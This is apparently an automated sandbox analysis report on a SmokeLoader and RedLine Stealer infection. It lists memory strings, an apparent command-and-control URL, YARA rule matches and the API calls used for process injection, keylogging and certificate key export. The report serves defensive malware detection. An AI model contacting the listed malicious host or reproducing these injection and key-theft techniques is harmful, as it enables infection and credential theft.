Source: explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000002.00000000.2218524683.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2216870595.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2218534895.0000000007B60000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000002.00000000.2222332214.000000000C36B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000002.00000000.2219776484.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000002.00000000.2222332214.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/I
Source: explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000002.00000000.2222332214.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com-
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3226508578.0000000002ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com//
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/earch.php;L
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3175208514.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4580797896.00000000031C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4580427782.0000000000949000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4580422286.0000000002A68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4580424413.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.php
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3175208514.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4580797896.00000000031C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4580427782.0000000000949000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4580422286.0000000002A68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4580424413.0000000000BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.phpMozilla/5.0
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.phpo
Source: explorer.exe, 00000002.00000000.2222332214.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.come
Source: explorer.exe, 00000002.00000000.2222332214.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comEMd
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000000.2219776484.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/e
Source: explorer.exe, 00000002.00000000.2222332214.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comM
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 0000000D.00000003.3197507522.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp, 98A5.tmp.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Source: unknown	Network traffic detected: HTTP traffic on port 61436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61470
Source: unknown	Network traffic detected: HTTP traffic on port 61451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61463
Source: unknown	Network traffic detected: HTTP traffic on port 61441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61467
Source: unknown	Network traffic detected: HTTP traffic on port 61437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61436
Source: unknown	Network traffic detected: HTTP traffic on port 61450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61439
Source: unknown	Network traffic detected: HTTP traffic on port 61448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61433
Source: unknown	Network traffic detected: HTTP traffic on port 61440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61434
Source: unknown	Network traffic detected: HTTP traffic on port 61438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61449
Source: unknown	Network traffic detected: HTTP traffic on port 61447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61440
Source: unknown	Network traffic detected: HTTP traffic on port 61443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61445
Source: unknown	Network traffic detected: HTTP traffic on port 61439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61450
Source: unknown	Network traffic detected: HTTP traffic on port 61446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61452
Source: unknown	Network traffic detected: HTTP traffic on port 61442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61454

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.6:61410 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61438 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61444 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61449 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61451 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61463 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61465 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61470 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 18_2_0047162B GetKeyboardState,ToUnicode,

18_2_0047162B

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Code function: 11_2_00007FF7CBCA3220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,

11_2_00007FF7CBCA3220

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.3040636907.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.3041248373.0000000000743000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2516805210.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000009.00000002.2777599585.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2777432655.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2517016123.00000000007DD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	0_2_00402F97
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401542
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00403247 NtTerminateProcess,GetModuleHandleA,	0_2_00403247
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401549
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_0040324F NtTerminateProcess,GetModuleHandleA,	0_2_0040324F
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00403256 NtTerminateProcess,GetModuleHandleA,	0_2_00403256
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_0040326C NtTerminateProcess,GetModuleHandleA,	0_2_0040326C
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_0040327D NtTerminateProcess,GetModuleHandleA,	0_2_0040327D
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014FE
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00403290 NtTerminateProcess,GetModuleHandleA,	0_2_00403290
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401514
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	6_2_00402F97
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401542
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00403247 NtTerminateProcess,GetModuleHandleA,	6_2_00403247
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401549
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_0040324F NtTerminateProcess,GetModuleHandleA,	6_2_0040324F
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00403256 NtTerminateProcess,GetModuleHandleA,	6_2_00403256
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401557
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_0040326C NtTerminateProcess,GetModuleHandleA,	6_2_0040326C
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_0040327D NtTerminateProcess,GetModuleHandleA,	6_2_0040327D
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004014FE
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00403290 NtTerminateProcess,GetModuleHandleA,	6_2_00403290
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00403103 RtlCreateUserThread,NtTerminateProcess,	9_2_00403103
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_004014FB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014FB
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00401641 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401641
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00403257 RtlCreateUserThread,NtTerminateProcess,	9_2_00403257
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00401606 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401606
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00401613 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401613
